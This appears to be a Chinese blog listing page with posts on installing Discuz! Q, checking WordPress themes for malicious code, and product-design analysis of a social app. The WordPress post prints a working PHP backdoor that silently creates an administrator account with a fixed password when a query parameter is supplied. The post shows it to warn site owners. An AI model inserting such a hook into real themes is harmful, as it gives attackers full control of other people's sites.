产品设计

  • 如何在bt面板上安装discuz!Q?

    安装好环境(环境如下) Discuz! Q 对系统有一些要求,请确保你的服务器满足以下要求: MySQL >= 5.7 PHP >= 7.2.0 BCMath PHP 扩展 Ctype PHP 扩展 Curl PHP 扩展 Dom PHP 扩展 Fileinfo PHP 扩展 GD PHP 扩展 JSON PHP 扩展 Mbstring PHP 扩展 OpenSSL PHP 扩展 PDO 与 PDO_mysql PHP 扩展 Tokenizer PHP 扩展 XML PHP 扩展 这些的话,是必须,如果有特殊情况请参考官方文档 新建一个网站,再网站下再建立discuz文件夹,再discuz文件夹里面建立pubilc文件夹,放入2.里面的dl.php。打开设置,如下图 然后访问(比如我的https://q.lmux.cn/public/dl.php) 注意:这里必须要弄伪静态 如图: 代码如下: index index.html; location / { try_files $uri $uri/ /index.html; } location /install { try_files $uri $uri/ /index.php?$query_string; } location /api { try_files $uri $uri/ /index.php?$query_string; } 用dl.php检测是否支持。文件如下dl.zip。 第四步已经注释在dl.php中。第六步会检测软连接。我的是 它会提示这个。这个是指把缓存放到storage文件里。discuz!Q前端和后端不一样。4.会讲到。 /www/wwwroot/q.lmux.cn/discuz/public/storage 指向/www/wwwroot/q.lmux.cn/discuz/storage/app/public 这时你需要登录ssh。登录后加一个软连接就行。代码是ln -s /www/wwwroot/q.lmux.cn/discuz/public/storage此处有空格/www/wwwroot/q.lmux.cn/discuz/storage/app/public 输入进去回车完事。 这回到了https://q.lmux.cn/dl.php?step=6,第六步已经完事了,会提示访问 https://q.lmux.cn 测试 失败。这时将默认文档中的index.php放到index.html的下面。如下图 这样基本上就完成了任务。装完了框架和核心。 装完后,会自动安装数据库。如果你的数据库没有,请下载这个数据库。我把后台密码设置成admin,密码是123456。q_lmux_cn.sql.zip 整站打包:链接: https://pan.baidu.com/s/1lI1y5OIpB87mFAnZbGsoaQ 提取码: 2x7b   原文来自:https://q.lmux.cn/details/1 当然也是我写的。https://biu.zlckj.cn/archives/32.html   链接: https://pan.baidu.com/s/10IVQYzssI6-cpl6Pm3kUTQ 提取码: rnm9 文章中的附件。  

    2020年4月5日 0 82 0
  • 检查WordPress主题中的恶意代码

    当我们下载使用网上的WordPress主题时,如果该主题来路不明,其中很可能包含了恶意代码,为黑客留下了后门。例如: add_action( 'wp_head', 'my_backdoor' ); function my_backdoor() { if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { require( 'wp-includes/registration.php' ); if ( !username_exists( 'backdoor' ) ) { $user_id = wp_create_user( 'backdoor', 'pa55w0rd!' ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } } 上面的代码,简单说明下,代码主要放于functions.php文件里面,不会影响任何功能使用,如果存在此代码,任何人只要运行http://www.你的域名.com/?backdoor=go,然后就创建了一个用户名为“backdoor”,密码为:“pa55w0rd!”的管理员。相信此时你一定感觉到很危险了吧,赶紧检查检查自己的主题代码吧! 这里介绍一个WordPress插件--AntiVirus防病毒插件,它可以查看WordPress后门详细信息并且找出漏洞,并帮你全部清除。该插件已经汉化,操作很简单,只要安装进行检查就会显示漏洞位置,把相关恶意代码进行修改或删除即可,同时还有每天自动扫描功能,发现漏洞会第一时间发邮件通知。

    2020年3月28日 0 43 0
  • 产品设计时,如何提炼用户的痛点

    在我们做产品、做运营、做活动或者是做品牌营销、口碑建设的时候,耳旁常常会听到用户的痛点这样的字眼,那么痛点究竟是什么意思,我们究竟该如何理解。 在我们做产品、做运营、做活动或者是做品牌营销、口碑建设的时候,耳旁常常会听到用户的痛点这样的字眼,那么痛点究竟是什么意思,我们究竟该如何理解。用我自己的话来讲就是用户在使用某个产品、进行某项操作或者是享受某种服务的时候感觉头痛的地方就是痛点。 比如当今知名度做的比较好的活动类产品中我知道的有爱活动、互动吧、活动行这三个,我个人又比较喜欢户外活动,不论我打开互动吧、爱活动还是活动行想在上面找无锡地区的户外活动,但都没有我喜欢的,这就是痛点。 做产品设计时如何发掘用户的痛点 通过上面的名词解释,简单为大家解释了痛点是什么意思,当然要全面分析的话,可以从用户体验的那五个层级来分析,有战略层、范围层、结构层、框架层以及表现层上面的,以这样的角度来分析,会比较全面,考虑的也会周全很多,不至于在演示Demo的时候,因设计逻辑不合理而被推翻,浪费时间,若已经进入了开发阶段,突然意识到用户有一个比较重要的痛点被我们忽略了,那问题就较为严重了。所以在我们做产品设计的时候就应该要从多个角度来考虑分析了,不过值得注意的一个重点是在考虑分析之前一定要先定好目标范围。 下面为大家演示一个案例,看在我们做产品设计的时候,如何来周全的考虑,分析发掘用户的痛点。 比如我们最近在做一个情感倾诉,答疑的功能,在我们做之前,首先对这个产品进行一个大概的梳理,假设我们产品的定位是,主要面向20-40岁之间的白领用户,并且有从事婚恋情感领域具有十多年经验的专家导师来倾听这些白领用户的情感问题,然后给以准确的解答,解决个人婚恋情感所遇到的问题。 平台的盈利模式主要通过与导师专家分成来实现商业收益,平台主要做的事情是怎么让我们的目标用户知道有这样一个关于婚恋情感方面的产品并且里面有很多知名的情感专家。通过灌心灵鸡汤、谈情怀等运营方式来让我们用户产生兴趣,产生兴趣后就要让他们最方便来快捷的来使用我们的产品,当每一个用户在初次使用我们产品的时候,我们怎么来更好的引导,比如怎么给他们展示自己真正感兴趣的内容来挽留他们、对于不活跃的用户怎么来促活、对于已经流失的用户怎么来召回,对于活跃用户怎么转换为付费用户,对于付费用户又怎么让他们来持续消费,最后变为我们的粉丝用户,在这运营的一系列过程当中还要考虑怎么让用户能方便分享,传播,塑造品牌、以及口碑,在传播的途径上让产品来发生裂变。这是平台主要做的事情,在做产品之前要先梳理清楚,多跟运营、市场沟通协调多聆听意见。 我们白领用户的核心需求就是个人情感问题通过本平台能满意的得到解决。 我们专家导师用户的核心需求是通过自己所具备的专业知识解决白领用户的情感问题,并且打造个人品牌,让个人品牌产生更高的溢价,同时还要获得丰厚的收入,赢得大量的粉丝,直接点讲就是名望高、收入多、粉丝多。 以上内容我们主要是对产品与用户之间的运转方式做了一个大概的梳理,在梳理的过程当中我们突然会有一些新奇的想法,这些想法有可能是产品设计的时候要注意的问题有可能是用户痛点方面的问题,别管三七二十一想到就先临时记录下来,不要让这些想法突然打断我们梳理的思路,当我们梳理完以后,对记录下来的想法做一个整理。 接下来我们就开始做流程交互,但在做之前还是要建立3-5个用户画像,因为我们产品的设计都是基于用户的需求来做设计,因为产品想要实现商业价值最终靠的还是用户,有用户画像在我们画流程做业务逻辑的时候思考的会更加深入,注意力也将更加集中,效率也高。我觉得用户画像的第一个版本最起码需要这样一些内容,姓名、年龄、性别、收入、学历、工作、地区、兴趣爱好、社交图谱 、常规的一个作息时间等这样的一些内容。 有了用户画像,在我们做交互流程的时候因为有用户画像这样一个比较清晰的画面浮现在脑海里面,所以在流程上面我们事先就能清楚的意识到那个步骤是多余的,是否该简化,那些东西在业务上面并不需要,以及在不同的功能环节我们用户所存在的痛点,当然有些痛点在我们收集需求的时候就已经意识到了。还是举例来说,下面是我临时画的一个流程图。 我们主要有三个角色,有白领用户、导师专家和系统,在这个流程图里面,白领用户在选择导师专家的时候可能会存在痛点。在这一步我们就要考虑会发生那几个层面的痛点,比如内容上面的,信息结构上面的框架上面的等。还会在情感倾诉、系统处理、解答治疗这样的一些环节里面会发生一些痛点,所在在流程上面首先要去考虑优化。 流程交互结束以后,开始画用例,比如我们的用户要执行什么操作完成什么任务,在该操作上会发生怎样的一些痛点,然后根据用例再来画详细的交互原型,以及一些空状态下面的文字提示等等。 最后我们写完整的需求,在写的过程当中我们还会想到用户可能会存在的一些其他痛点,但对整体的业务架构、框架不会造成太大影响,一般是一些功能流程上的细小调整,这些小问题也有可能还会让我们的流程,多一步或者少一步,总之在我们做产品设计的阶段里面还是要多考虑,多假设,多举例,多验证看能不能推翻这个功能流程,有没有别扭的地方不合理的地方,另外一方面需要我们多去体验竞品,和排名向前的一些产品,分析他们,来积累经验,学习好的业务架构,交互方式、战略计划等。

    2019年12月3日 0 34 0
  • “遇见”产品分析报告:遇见陌生人,牵手不可能

    本文大纲^^: 分析目的 遇见陌生!遇见的简介 社交变迁!遇见的诞生背景 身处何地?遇见的产品定位 如何落地?遇见的产品功能及其背后逻辑 路在何方?遇见的市场分析 要活下去!遇见的盈利手段 遇见陌生人,牵手不可能! 总结 一、文档概览与分析目的 体验机型:SAMSUNG GALAXY A5 系统版本:Android 5.0.2 APP版本:2.7.1 体验时间:2017.4.18-2017.4.22 分析目的: 翻过朋友圈—遇见的诞生 遇见定位—遇见身处何方? 遇见落地—遇见的种种功能设计极其背后的逻辑 路在何方?—遇见的当前产品分析 “我想活下去”—遇见的商业之路 二、遇见的简介 产品名称:遇见 产品类型:匿名社交 支持和平台:IOS、Andriod 产品slogan:朋友圈外的世界,不一样的交友体验。 特色操作方式:地图查看头像点击、地图搜索。 产品的定位(标签):陌生交友、年轻任性、地图可视化、兴趣相投、同步通讯、圈子开放式。 产品的介绍:遇见是一款基于地理位置的移动社交应用,你可以通过遇见私聊约会、群聊聚会、分享照片等。遇见支持发送文字、图片、语音、视频以及地图位置,随时随地了解和认识身边的陌生人。 产品特色:地图定位、“微博式”动态、圈子、侃啦。 三、遇见的产生背景 小小的朋友圈 互联网的高速发展带来了最基本的连接红利,人们之间的阻碍消失了,六度分割理论告诉我们,任何人都有可能相识相知。朋友圈不在满足于过去的周边的几个朋友,学校几个同学,办公室的几个同事。现在,不管出于无聊、打发闲暇时光、炫耀等各种缘由,每个人都渴望认识更多的人,把自己“小小的朋友圈”努力撑大。 “社交的缘由”决定 人们为什么要在网络上社交?从社交的本质告诉我们,社交的缘由无非三点,需求、兴趣、群体社交。先说“需求”,淘宝购物聊天、团购、旅游订宾馆等这些社交都是处于用户最基本的需求,甚至约P也是需求(这就不多谈了)。再说“兴趣”,摄影APP、美食APP、健身APP等,甚至“小红书”这个购物产品,也是基于兴趣。最后说“群体社交”,人是社会性的动物,群体社交是每个人必须参与的,贴吧、粉丝群、动漫群等各类因某一共同的“虚拟的”目的而聚集产生了群体社交。 男女交友目的的改变 男女性由于种种原因而导致的自身各种社交需求的产生,同时微信这类的熟人社交无法解决和排遣这种需求,便给陌生社交产品带来了土壤和希望: 男性:渴望寻求发泄(心理和生理),认识结交新朋友,打发无聊时光,寻求刺激和炫耀感。 女性:无聊打发时光,结交新朋友,认识“男神”,排遣孤独。 四、社交的变迁—遇见的时代背景   亿万网民之间有着数不清的相互联系,这便使得进步不得不开始:社交2.0时代,微信作出了熟人社交,从这个大杂烩里捞出了一勺纯净高质量的食物,产生了朋友圈这类的熟人社交圈子。而遇见,如同它自身slogan所说“朋友圈外的世界”,希望从这锅大杂烩里再次捞出一勺高质量的食物,只不过方式变了,本质还是社交。 五、遇见的定位—遇见身处何方? 简单的说,遇见的特点、产品的特色、以及最重要的产品定位,都可以归纳成以下几点: 陌生交友 年轻任性 地图可视化交友 兴趣相投 开放式交友 “同步”交友 基于以上6点(下文详细解释),探探的基本产品思路和目标人群已经形成。那么,我们来看看这些产品定位和特色是如何落地的。 六、遇见落地—遇见的种种功能设计极其背后的逻辑 遇见的产品结构图如下: 遇见的使用主流程: 点击选择“附近的人”,方式可以是列表或者地图,选择自己喜欢的人,点击进入开始选择“聊天”,“送礼物”,“关注”等功能。遇见的定位就是“开放式”,所以没有像探探一样选择一对一匹配成功才可以聊天,而是可以主动建立聊天,无论对方如何。 可见,这种“被动聊天”、“关注”、“送礼”的功能设置本质上反映的就是遇见的定位“开放式交友”。用户发现了一个喜欢的人,可以自己主动做很多事情,同时对方的信息用户也可以看到。遇见就如同“微博”一样,集聚众多粉丝,选择个别聊天的社交。 遇见在基于陌生交友、聊天的基础功能设计上拓展出的圈子,侃啦等功能,都是围绕陌生交友而生成的不同维度的交友功能,本质都是对基础功能—“附近”的补充。 1.附近—陌生社交、开放式交友、年轻任性 简介: 系统根据用户的当前位置,来显示用户附近的其他用户,当用户选择某一位用户时,变迈出了第一步,开始了“陌生社交”的流程。这个流程也是遇见最基本的,最重要的功能,所以放在是首页。 流程如下: 我们根据流程图,可以很明显的发现,“附近”这个功能设计的目的就是为了促进“聊天”,这是匿名社交工具,聊天是其所有功能的落脚点和目的地。直接聊天,赠送礼物,关注这三个功能,都是围绕着聊天的目的。 同时,产品还提供了一些基本的选项,如下图。这与主流的社交产品相同,不多解释。但我要说一下“举报”功能的设置: 系统规定“同一用户同一理由24小时内只能举报一次”,而我第二次举报时,系统不会提示我选择举报理由(这可能是bug?),我像产品这么设计可能也是未来避免一些骚扰和恶意举报。但是不得不说,真的不是很人性化,包括交互提醒,显示的是举报资料。我询问过周围朋友,当他们使用后,我发现有一部分用户会产生这个疑问:为什么系统有“举报个人资料”按钮,而在用户填写资料时时不能检测么?交互提示的按钮显示“举报资料”感觉好多余…… 遇见为什么这么设计“附近”呢? 陌生社交是个很脆弱的社交关系,设计三个入口的目的便是为了过滤无效的陌生人,直接的聊天“从内容和说话风格看人”,送礼物“粗暴的扔钱来促进聊天沟通”,“关注”则是通过显示“崇拜仰慕之情”来博得一笑,这三种方式,从自身文采、经济实习、表达仰慕三个方向向“被聊天的用户”传递了真诚,而使得用户的交友成功率大大提高。提高了用户的满意度。 遇见是产品使命便是为了“扩大朋友圈”,想一想现实中的朋友是怎么结交的?你也就不难理解遇见为什么设置的是这三个聊天入口,而不是别的方式了。在“钱”、“名”、“兴趣”上任意一个能满足目标用户,聊天交友是很自然的。 2.动态—兴趣相投,开放式社交 简介: 动态这个功能区的设置有点“微博媒体化”的味道,可以选择显示所有的动态,关注人的动态,附近的动态,热门动态等可以选择,会员在次基础上提供了“男”、“女”等进一步选择。用户在动态里可以根据每个人发布的动态内容和图片,来更进一步的了解目标人,在基本信息这个静态信息的基础上多了动态信息这个维度,让每个人的特点更加鲜活,用户在此处可以“因个人内涵而产生好感或兴趣”。 流程如下: 动态作为遇见的第二重要的功能,优先级是高的,作为遇见的“三大路线”之一的“内容交友”,其在动态的设置上和微博很相似,都是根据用户的设置显示相应的内容,也包括了标签、表情、图片等最基本的标配。 动态中的Feed流中有包含用户动态和广告。广告就不说了,毕竟为了生存,广告是最简单的盈利方式。接下来来说一下动态的设计特点,观察下图,你能发现遇见动态和微博动态的各自特点么? 遇见 其实对比很多条就会发现,遇见的设置与微博的动态设置的区别: 遇见突出“性别”和“等级”。相对于微博的动态内容,遇见因为是陌生人社交,男女用户使用这类匿名社交,很大程度是抱着“寻找异性目标”的目标在使用产品。由此,遇见在动态设计上突出了“性别”,鲜艳的颜色“蓝色、红色”让用户一眼可以分辨(会员可以省略,花钱省心省事,可以直接设置男、女)。 遇见弱化了文字,从而突出图片。遇见和微博动态很大的不同就在“文字”上,遇见的文字是灰色,很多网页或者移动客户端产品的设计中灰色代表了不可点击,“拒绝使用”的意思,用户很自然会忽略文字,从而间接的突出了图片。 遇见没有“转发”功能。这与遇见的陌生人定位是有很大关系的。陌生人之间本来信任感就低,动态的设计只是为了提供一个别人了解自己的渠道(或者说是维度),既然是了解用户本人,那么动态不可转发也就容易理解了。(想像一下,点开一个“喜欢”的人的主页,发现全部是别人的动态……瞬间好感下降,用户在个人用户上得到的怒气很容易会发泄给产品,影响体验)。 遇见显示了“位置”。遇见定位就是LBS社交产品,“地点”是个产品很重要的功能,以及特色。所以动态上强调了位置也容易理解。 遇见为什么这么设计“动态”? 遇见基于“兴趣相投”、“开放式社交”为根本出发点,在次基础上设计的动态,也从我以上所说的三点:突出性别、弱化文字突出图片、禁止转发等功能,很好的将出发点和设计初心落地,始终抓住产品的特色:“地点”,做LBS陌生人社交。我用下面这幅图来解释一下:从第一眼发现喜欢的陌生人,迈入了第一步“相识”,然后通过动态以及对方的主页和个人信息等多维度来了解,脑中“形成了大概的好与坏的影响”,基本达到“相知”,最后才可能聊天,在彼此兴趣、价值观相似(从发布的内容和喜欢的事物可以基本判断)的基础上聊天才能“相熟”。 遇见的“动态”的设置是很多社交产品(探探、微信、QQ空间)等都在使用的一种“动态维度”描述用户的方式。让用户在冷冰冰的手机(我知道有些手机是暖宝宝╭(╯^╰)╮)上可以发现一个“鲜活生动接地气”的陌生人,这是优化用户体验,完善产品体验,加强用户粘性和留存率的重要手段。 3.发现—年轻任性、兴趣相投、开放式社交 发现中包含着“圈子”和“侃啦”两个主要部分。 圈子相当于“QQ群”,需要管理人员的同意才能加入,侃啦则相当于“贴吧”,任何人都可以进去关注自己喜欢的话题和查看相应内容。 3.1首先,我来说一下“圈子”: 简介: 圈子相当于基于兴趣+LBS的“QQ群”,不过与QQ群的不主动显示有区别,圈子会根据热门程度来显示优质的圈子,同时“地点显示”这个遇见的特色功能也再一次很好的运用到了这个大功能点上。 遇见中的 “推荐圈子”,按照遇见产品的特色,估计是可以花钱来买的。 圈子的进入,需要首先点击“发现”–>“圈子”进入。进入后会提供“热门圈子”、“推荐圈子”、“附近的圈子”等。用户选择喜欢的圈子,申请加入。 圈子会显示基本的名称、头像、人数、圈子定位、简介等信息,供用户参考选择。或者用户可以精确的搜索自己喜欢的兴趣话题圈子。 圈子进入后,会显示聊天界面(和所有的社交工具相似),不过,遇见的圈子有个很神奇的特色功能,可以说是一个特色创新。 这似乎与所有的聊天工具的群聊都一样,特色在哪里呢?不要着急,往下看。 当你点击群聊页面的右上角“#”按钮时,会切换成群里成员的动态列表,你发现了么?这像什么?是不是朋友圈。在我看来这是一种变相的“朋友圈”。陌生人本来是联系很弱的,遇见中的用户在加入兴趣圈子的基础上,其实已经将陌生的关系往前推进了一大步,在圈子的基础上又加入了变相的“朋友圈”,可谓是把关系更推进了一步。一对一聊天的转化率和陌生人的相熟率也大大提高。 当然,遇见的圈子设置中也能很好的发现遇见的特色功能和产品定位(LBS社交):圈中心。 总的来说,遇见在圈子的设计上也是突出了产品的特色和产品定位:LBE陌生社交,一切设计都会以“显示地点”为出发点。 使用流程如下: 从圈子的使用流程中也可以发现,遇见设计推出“圈子”的目的是什么?也是未来促进一对一聊天的转化率。圈子是“因兴趣而产生好感”的地方。总的来说,圈子的使用流程不复杂,简单却很有重点,就是未来促进一对一聊天。从加入了“圈子动态”也是为了进一步促进用户对陌生人的了解,提高转化率。 遇见为什么这么设计“圈子”? 遇见,定位是一个“匿名社交”产品。陌生的社交最大的障碍是什么?就是“陌生”引起的不信任感,圈子的设计是从“因兴趣而生好感”这条路来出发的,圈子帮助用户找到了有共同兴趣的陌生人,这为聊天打下了基本的基础,在此之上,如何更加了解对方(用户也是为了将自己的交友成本降到最低)是用户考虑的需求,产品也是在想方设法促进用户之间的了解,变相“朋友圈”的出现也很好的解释了这点,这能提高用户转化率和留存率,提高粘性。 遇见定位的是陌生人的社交,开放式社交,不同于微博的全部开放,也不同与微信朋友圈,更像是QQ空间,半开半闭,用户需要“花点力气”进入圈子,才能了解。同时,设置这两步的原因也是将一些意愿程度不高的用户排除筛选出来,提高一部分用户的体验。 3.2 其次,再说“侃啦”—群体社交: 简介: 侃啦可以说是像一个“贴吧”,任何用户基于相同的目标(虚拟的或真实的)聚集在一起相互分享。签到打卡。这是用户使用社交产品的一个基本需求—“群体社交”,如同贴吧的李毅吧,豆瓣等一样,基于一个目标而进入。 侃啦会分很多不同的类型,包括星座、闲聊、娱乐、影视等等。用户不需要申请即可加入查看内容和关注,寻找自己喜欢的内容。 进入圈子,可以“签到”,查看这个侃啦里面“附近的人”(再一次突出了遇见的特色功能),圈子的背景图片可以更换。 同时可以查看这个话题里的人,来寻找自己中意感兴趣的陌生人,这与“附近”的设置相似(依旧出不来头像,不知道是不是我手机卡,还是服务器问题……) 同时,在这个侃啦里面,用户是可以分享别人的动态的。这与动态里面不可分享的功能设置有很大的区别。这也许也是另一个不同的考量角度,我们在“遇见为什么这么设计‘侃啦’”时分析。 侃啦的使用流程和圈子的流程差不多,只是不用管理人员同意,是一种开放式的,可以选择很多不同的兴趣进入,认识不同的人(当然前提是用户本人感兴趣)。 遇见为什么这么设计“侃啦”? 侃啦里最大的一个“bug”就是其他用户的动态居然可以分享到自己的动态,这和遇见的“动态”设计似乎违背。但其实从产品设计的目的看并不矛盾,遇见的最终目的是什么?是陌生人交友,成为了朋友。至于这个过程如何,其实是可以适当修改的。 下面来分析一下为什么侃啦里的动态和遇见的大功能—“动态”不同: 用户的刻画维度不同。 遇见的“动态”这个大功能,是从“因价值观而感兴趣”这个角度出发,希望用户在这里发现与自己生活经历相似,为人处事价值观相似的人,而这种价值观的体现必须是基于自我的,自己的点点滴滴表现可以反映和刻画自我,而转发别人的动态这不行。 而侃啦里面的“动态”,则是偏向“你我有共同的目标或需求”。加入某个兴趣侃啦本身就已经告诉其他人“我对这个话题感兴趣,快来和我聊”。转发别人的动态,或是对这个内容感兴趣,或者是有感触,或者是“炫耀”,不论如何,目的都是告诉别人“我是这样的人,我对这个话题感兴趣”。其他共同侃啦的人或者附近的人在用户自己的个人主页动态里看到,也会从侧面对用户有个大概的心理描绘,基本判断这个陌生人是否合适自己,是否聊得来等。 一个是基于自我描述,一个是基于侧面衬托,但总的来说都是为了使得每个用户的“用户画像”更加清晰,使得在陌生人交友时,用户的选择成本和付出的沉没成本都尽可能降低,从而提高用户的体验和满意度。 4.消息—年轻任性,同步化交友 消息界面不同与其他社交产品,遇见将消息分为了“圈子”、“发出搭讪”、“收到搭讪”、“遇见小秘书”(系统消息)四部分。 当“发出搭讪”或者“收到搭讪”里面有人回复时,该项会相应变为了对方的聊天信息。 同时,消息上强调了时间、距离(又又一次强调了遇见的特色功能)、未读信息数。 使用流程: 一如既往,遇见的每个功能的流程并不复杂,但是目的明确,都是为了“聊天”服务。与其他社交产品不同的是,遇见将一对一消息分成了“发出搭讪”和“收到搭讪”两种,这是有深思熟虑的,我们下面在“为什么”中说。消息的优先级相比于“附近”、“动态”来说不高,甚至从增加用户粘性角度来说优先级都不如“圈子”和“侃啦”优先级高,但是为什么单独拿出做一个下方主按钮呢?我们在“为什么”中说。 遇见为什么这么设计“消息”? 遇见中的“消息”为什么这么奇怪呢?用习惯了QQ、微信、甚至是支付宝聊天等的用户第一次发现遇见里的消息列表竟然是分开的,难免会觉得奇怪,其实这和遇见的产品本身定位是有关系的。 我在强调一次,遇见是“陌生人”的开放性社交产品,重点是异性之间的社交链。“异性社交”会想到什么? ………………此时你的脑子可能想到了N个形容词和gif图画面……………… 其实,异性双方社交最重要的特点就两个词—“主动”与“被动”。 基于“开放式社交”、“主动被动”,就能解释遇见的消息设置了。因为遇见是开放式社交,不同与探探,遇见是用户可以与任何一个陌生人发消息,也可以收到任何陌生人发送来的消息,个别吸引力大的用户消息列表的信息肯定会很多。这部分消息分两种:自己主动搭讪别人(自己热情)、别人主动搭讪自己(对方热情)。 当一个人抱着“遍地撒网,重点捞鱼”的心疼去万遇见时,问题产生了,用户会对陌生人产生混乱感,分不清两种消息。会造成损失和“失误”,导致“到手的鱼丢了”。 遇见很巧妙的将这两种信息分开,使得用户不会产生混乱感,提高了用户体验度,这是一个“兴奋需求”啊!多难的……(用户内心:我喜欢的人要热情对待,付出比较多的精力,别人喜欢我是别人的事情,我不会在这种聊天上花费过多精力的!) 5.表情中心、商店、VIP、全球焦点—期待需求、炫耀欲望 为什么将这几个功能放在一起呢?是因为这些都是要花钱的(白花花的银子),当然,花钱必然会带来好处,自身炫耀欲望的满足和聊天内容的有趣使得自身愉悦都是不同角度的回馈。 5.1表全中心、商店—丰富聊天场景 表全中心和商店的产生,都是为了使得用户的聊天更加有趣有料,更加多样化和趣味化,在双方聊天谈资缺乏的情况下也能很好的将聊天续接下去。 这个表情和商店的推出,和在附近、动态中插广告目的相同:盈利,这是无可厚非的。 但是基于用户体验的需要,希望可以开放更多免费的表情和礼物,或者降低费用。 毕竟,互联网时代讲究的是也是免费么!(不要打我) 5.2 会员VIP、全球焦点—满足虚荣心 不同与探探的公平等级,遇见走的是“VIP贵族”道路,VIP有更多的选择权利,更多的特权(12项),从“筛选”到“专属名称”都是特权。部分用户为了满足更多的控制欲,或是为了炫耀而成为VIP,这是产品的盈利手段之一,本无可厚非。但是从整体的用户体验来说,一小撮VIP贵族势必会造成整体用户的不公平感的产生,而这种其他人给予自我的不公平、炫耀感恰恰是选择网上陌生交友的人最不愿意的事情(这部分人往往都是收入低,阶层低,现实生活不得志,处于社会上偏弱势的人群,这从下面的设备使用率图中看出)。 当然,这部分人可以选择成为VIP,将“不公平感”传递给别人,从而消除自身的这种感觉。但是不管怎么说,不公平感是不可能完全消除的(不可能所有人都办VIP),总会有部分用户的体验变差,这是产品人最不愿意看到的事情。 全球焦点,这个就是赤果果的为了满足部分用户的炫耀感。全球焦点如同游戏中的“排行榜”一样,时刻更新,而且全球焦点还是竞价排名,价高者得,这更是使得“不公平感”蔓延,好坏我不予置评,但是从整体用户对产品的体验和产品的收入二者来说,绝对是不值得的。 六、路在何方?—遇见的当前市场分析 (数据来自 易观千帆,感谢易观千帆提供的帐号) 6.1 产品的使用人群性别划分: 很明显,遇见当前的用户人群很成问题,本身定位是一款“匿名社交”产品,但是使用的人都知道,大家是奔着“结交异性”去得,当下的男女比例严重失衡可能是因为男生抱着“yuepao”的心态去,女生觉得“产品设计不好”等双方共同的原因导致的。 6.2 产品的使用人群年龄段划分: 遇见 探探 对比遇见的年龄段划分和探探的年龄段划分,区别和优劣很明显,遇见的用户年龄整体偏大,探探偏小,正常的这个社交产品(由其是匿名社交产品)人群应该是偏小的,加之年轻人才是未来消费的主力军,产品更应该争夺年轻人。 遇见现在似乎得了“老龄化”的大病! 6.3 产品的使用人群地域划分: 用户主要集中在超一线和一线城市,二线及其以下的用户的规模偏低,这与社会的开放性和男女对待异性交往方面观念的开放有关系。这也是这类匿名社交产品得以生根发芽的社会土壤保障。未来,随着中国改革的加深和社会的更加开放,遇见必须在二线及其一下城市进一步推广,扩大地域分布,才能收获更多的人群基数。 6.4 产品的分时用户分析: 用户的时间段集中在晚上(深夜),基本符合这个社交产品的正常使用规律,也符合前文提到的当下互联网用户使用社交产品的目的:打发无聊时光,排遣孤独的特征。夜晚也是人们感性情绪,孤独感集中爆发的时间段,脆弱,渴望发泄,寻找陪伴是这个时间段使用这类陌生社交产品的用户的心理特点。结合用户使用产品的心理特点和场景可以更加优化产品(比如产品主色调,产品的内容的侧重点等)。 6.5 产品的领域渗透率: 遇见 探探 遇见的“年龄老龄化”、“产品的设计落后”、“产品的交互体验”等可能都是造成遇见领域渗透力低的原因。 七、“我要活下去”—遇见如何盈利? 会员VIP、付费表情和商店礼物等增值产品 满足了用户炫耀的心理,同时增加了聊天的丰富度和用户的体验度。 全球焦点为代表的“炫耀功能”的竞价排名付费 用户自行选择相应的价钱竞争排名,获得更多的展示,类似于当下的网页的广告。经济排名,价高者得。 广告 从附近的陌生人列表,到动态Feed流里面的广告,这是现在所有社交产品都在尝试的广告形式。不过遇见这种陌生人社交产品本身就是开放式社交,用户对自己使用产品的体验不会因为广告的插入而过于反感。(微信的朋友圈插入广告就非常小心翼翼,用户的私密性过强,广告会对朋友圈的私密性产生很强的破坏感。) 游戏收费 游戏是个沉浸感和互动性十分强的形式,用户在游戏中也可以有很好的交流,促进陌生双方的交流和了解。因此,游戏收费也是一个很好的收费点。 八、总结...

    产品设计 2019年12月3日 0 30 0
  • 总结了一套完整的设计分析思路

    本文主要是根据个人在各个大大小小的项目中总结而来的一套做设计分析的参考思路,应用于常规的项目场景基本是够用了。 很多交互设计师特别是新手设计师,常常会出现接到一个需求不知道该从何下手的情况。比如一下两种常见场景: “需求是业务方的几句话描述,只能管中窥象的了解他们一些零零碎碎的想法,没理解到本质需求就开始画界面,然后不断的随着他们想法的转产而反复被动修改交互稿…” “PM已经画好完整的demo,交互看着似乎能做的只是根据demo做细节优化和完善,做着做着就迷茫了,设计的价值到底在哪呢?” 这些情况要解决的关键还是在于理清思路,本文主要是根据个人在各个大大小小的项目中总结而来的一套做设计分析的参考思路,应用于常规的项目场景基本是够用了。 一. 确定页面的类型 开始讲分析思路之前,先需要考虑你的页面属于什么类型的页面。 不同的页面类型,思考的侧重点不同,分析思路也会有所差异。 根据个人经验,我们平常会涉及到的主要页面类型有以下几类: 导航型页面:侧重用户路径引导和流量分发,往往会带有较强的运营性质。有存粹的入口型,也有根据不同强弱需要使用一定的核心内容作为入口,引导用户进一步探索的半消费式的入口型页面,如很多国外电商的首页 freepeople。 消费型页面:侧重让用户能深度沉浸的浏览页面内容,如京东商品列表页,花瓣瀑布流内容页。 任务型页面:侧重让用户顺畅高效的完整一系列操作,达到某个明确目的,如订机票页面。 当然,也会有多种类型混合起来的,比如1+2成了天猫首页。本次总结主要是针对1、2页面进行分析,任务型页面的分析思路会比较不一样,今后在详解。 二. 前期分析思路 阿里的五导家ThinkFlow就提出了: “在公司中作为职能部门的UED团队,需要站在用户的角度思辨业务,通过服务内部客户进而服务我们的最终用户,用设计专业帮助业务成功,与业务一起成长”。 本文的主要分析框架也是从五导家的思路按需细化&实践演变过来的。 五导家分析阶段的主要思路 分析的详细步骤如下: 挖掘业务(市场)本质需求 洞见用户需求 确立设计目标 解决方案发散&收敛 解决方案落地到页面中 1. 挖掘业务本质需求 “产品经理说的话 ≠ 业务诉求”——重要的话放前面 (1)了解项目概况和目标 这一步主要是跟需求方不断的去聊去了解,基本的问题如下: 为什么会产生这样的需求?目标是什么?(一定要深问,可参考“五个为什么分析法”) 业务方针对目标提出的解决方案是什么,具体是怎么想的?是否还有想要解决的问题没想好方案的? 该业务经验性的特点有哪些?是否有数据或报告。比如,产品/品类特色是什么,何种内容转化高点击好… 业务后续规划的蓝图是怎样的? 以上为初步沟通的4个基本方向,通用于各种项目,具体可以根据项目具体内容而拆分成很多个小问题,具体执行就需要考验设计师的沟通能力了。 Tips: 